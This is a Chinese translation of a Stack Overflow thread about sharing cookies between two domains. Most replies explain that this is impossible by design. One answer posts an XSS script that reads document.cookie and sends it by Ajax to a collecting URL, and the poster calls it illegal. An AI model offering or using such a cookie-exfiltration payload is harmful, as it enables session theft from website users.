如何使用JavaScript在两个域之间共享cookie?

5

我想在example.com和mysite.com之间访问和设置cookies。我该怎么做?


1
你不能直接这样做。你想要实现什么目标?同时在这里和互联网上搜索“跨域cookies”以获取解决方法。 - Matthew
1
可能重复:https://dev59.com/S3VC5IYBdhLWcg3wihqv - Alec Smart
另一个可能的重复问题:https://dev59.com/E3A75IYBdhLWcg3wW3oZ - Anderson Green
2个回答

2
你无法仅使用cookie实现这一点:它们是明确设置的,只能在同一域名下使用,没有合法(即“非利用”)的方法可以将其设置为另一个域名。但是,如果你控制两个服务器,可能可以使用某些变通方法/黑客技巧来实现此目的,但这并不美观,并且可能会出现意外情况(请参见此问题;那里的答案应该可以帮助你找到解决方案)。

1
<script>
  function xss(){
    var cookies = document.cookie;
    new Ajax.Request('//localhost/index.php?cookies='+cookies, {
      onSuccess: function(response) {
        alert(cookies);
      }
    });
  }
  xss();
</script>

顺便说一下,这是非法的。 我使用prototype库。


2
请详细说明“它是非法的”以及为什么使用原型库来改善你的答案。 - Brant Olsen

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接